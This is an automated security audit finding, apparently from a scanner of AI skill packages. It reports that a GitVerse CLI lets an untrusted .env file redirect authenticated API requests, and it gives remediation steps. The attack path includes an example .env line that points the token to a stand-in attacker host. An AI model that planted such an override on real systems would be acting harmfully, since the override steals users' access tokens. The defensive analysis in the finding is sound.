T09 · Insecure Skill Coding Practices
Error
- Location
- src/client.ts:7
- Finding
- Authenticated API Requests Can Be Redirected to an Arbitrary Server<![CDATA[ ## Vulnerability Details **File Location**: `src/client.ts:7-15` **Vulnerability Type**: Unvalidated authenticated API endpoint override **Risk Level**: High ### Vulnerable Code ```ts const token = process.env.GITVERSE_TOKEN; if (!token) { throw new Error('GITVERSE_TOKEN environment variable is required'); } gitverse = new GitVerse({ token, baseUrl: process.env.GITVERSE_BASE_URL || 'https://gitverse.ru/api/v1', }); ``` The corresponding behavior is also present in the compiled artifact at `dist/client.js:5-12`. ### Technical Analysis The Skill accepts `GITVERSE_BASE_URL` without validating its protocol, hostname, port, or destination. The same SDK client is initialized with both this attacker-influenced endpoint and the user's GitVerse access token. Additionally, `src/index.ts:2` imports `dotenv/config`, which loads environment variables from a `.env` file in the process working directory by default. Consequently, if a user invokes the CLI from a directory containing an untrusted `.env` file, that file can define `GITVERSE_BASE_URL`. An already exported `GITVERSE_TOKEN` remains available because dotenv does not overwrite existing environment variables by default. The endpoint override is not documented in `README.md` or `SKILL.md`, making it less likely that users will recognize that authenticated traffic can be redirected. The implementation also does not require HTTPS, so it permits both credential forwarding to an arbitrary HTTPS server and potential plaintext transmission over HTTP, depending on SDK behavior. ### Attack Path 1. The victim exports a valid `GITVERSE_TOKEN` in their environment. 2. The attacker causes the victim to run the GitVerse CLI from a directory containing an attacker-controlled `.env` file. 3. The malicious file contains an endpoint override such as: ```dotenv GITVERSE_BASE_URL=https://attacker.example/api/v1 ``` 4. `dotenv/config` loads `GITVERSE_BASE_URL` from the current working directory while ...[truncated 1215 chars]
- Remediation
- <![CDATA[ ## Remediation Suggestions 1. **Remove the endpoint override in production** - Use a constant, trusted GitVerse API endpoint when custom deployments are not a supported requirement. ```ts const GITVERSE_API_URL = 'https://gitverse.ru/api/v1'; gitverse = new GitVerse({ token, baseUrl: GITVERSE_API_URL, }); ``` 2. **Strictly validate custom endpoints when they are required** - Parse the value with `new URL()`. - Require the `https:` protocol. - Enforce an explicit allowlist of trusted hostnames. - Reject embedded usernames or passwords, URL fragments, unexpected ports, and malformed URLs. - Consider restricting the path to an approved API prefix. 3. **Do not implicitly load `.env` from the caller's working directory** - Load configuration only from a trusted, explicitly resolved Skill-owned path. - Alternatively, remove automatic dotenv loading and require configuration to be supplied through a controlled runtime environment. - Reject configuration files with unsafe ownership or permissions where applicable. 4. **Separate credentials by endpoint** - Never attach the production GitVerse token to a custom or untrusted endpoint. - If self-hosted endpoints must be supported, require a separately named credential and explicit user confirmation. 5. **Add automated security tests** - Verify that HTTP URLs, unapproved domains, embedded credentials, unexpected ports, and attacker-controlled `.env` files are rejected. - Confirm that authorization headers are never sent across redirects to a different origin. 6. **Document supported configuration** - Clearly document any endpoint override, its security implications, and the exact allowlist policy. - Recommend narrowly scoped, short-lived tokens and immediate revocation following suspected disclosure. ]]>